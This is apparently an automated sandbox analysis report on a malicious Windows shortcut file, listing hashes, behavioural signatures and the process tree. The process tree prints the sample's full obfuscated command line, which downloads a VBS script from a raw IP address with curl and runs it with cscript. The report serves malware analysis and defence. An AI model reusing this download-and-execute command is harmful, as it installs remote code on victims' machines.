Analysis
- max time kernel
130s - max time network
136s - platform
windows10-2004_x64 - resource
win10v2004-20230915-en - resource tags
arch:x64arch:x86image:win10v2004-20230915-enlocale:en-usos:windows10-2004-x64system - submitted
25/09/2023, 12:20
Static task
static1
Behavioral task
behavioral1
Sample
SIPO-lnk.lnk
Resource
win7-20230831-en
3 signatures
150 seconds
Behavioral task
behavioral2
Sample
SIPO-lnk.lnk
Resource
win10v2004-20230915-en
4 signatures
150 seconds
General
- Target SIPO-lnk.lnk
- Size 2KB
- Sample230925-phra4aeg5x
- SHA256 bf3d542f7aba2d4c00f627d9e0f48bf82acf725a2c6a188a5b2eceea2592c6a5
- MD5 1f75fbe07b3ae2f6337049fbf6359e46
- SHA1 bf1619da25781e5c2210f1649cd8a5e611196795
- SHA512 a1c190c6e26e37b44e46c7c5db2debcd372abaf31b78a7f587fd07e0afda27d61488fe67a14c66503f3a16dbf118658cf73a7f27d7657812b284f7edb05321c1
- MD5 SHA1 SHA512
Score
7/10
Malware Config
Signatures
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000\Control Panel\International\Geo\Nation cmd.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Runs ping.exe 1 TTPs 2 IoCs
pid Process 1680 PING.EXE 1264 PING.EXE - Suspicious use of WriteProcessMemory 10 IoCs
description pid Process procid_target PID 4048 wrote to memory of 4868 4048 cmd.exe 83 PID 4048 wrote to memory of 4868 4048 cmd.exe 83 PID 4868 wrote to memory of 1680 4868 cmd.exe 84 PID 4868 wrote to memory of 1680 4868 cmd.exe 84 PID 4868 wrote to memory of 1620 4868 cmd.exe 89 PID 4868 wrote to memory of 1620 4868 cmd.exe 89 PID 4868 wrote to memory of 1264 4868 cmd.exe 90 PID 4868 wrote to memory of 1264 4868 cmd.exe 90 PID 4868 wrote to memory of 2904 4868 cmd.exe 93 PID 4868 wrote to memory of 2904 4868 cmd.exe 93
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\SIPO-lnk.lnk1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4048 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c L8T || ECHo L8T & p"i"ng L8T || C"U"rl http":"/"/"88."1"1"9"."175."2"4"5/WN"JD1"/iji -o C:\Users\Admin\AppData\Local\Temp\L8T.vbs & p"i"ng -n 2 L8T || c"S"C"R"Ip"T" C:\Users\Admin\AppData\Local\Temp\L8T.vbs & ExiT 'PpSAihmBTrRI2⤵
- Suspicious use of WriteProcessMemory
PID:4868 -
C:\Windows\system32\PING.EXEp"i"ng L8T3⤵
- Runs ping.exe
PID:1680
-
-
C:\Windows\system32\curl.exeC"U"rl http":"/"/"88."1"1"9"."175."2"4"5/WN"JD1"/iji -o C:\Users\Admin\AppData\Local\Temp\L8T.vbs3⤵PID:1620
-
-
C:\Windows\system32\PING.EXEp"i"ng -n 2 L8T3⤵
- Runs ping.exe
PID:1264
-
-
C:\Windows\system32\cscript.exec"S"C"R"Ip"T" C:\Users\Admin\AppData\Local\Temp\L8T.vbs3⤵PID:2904
-
-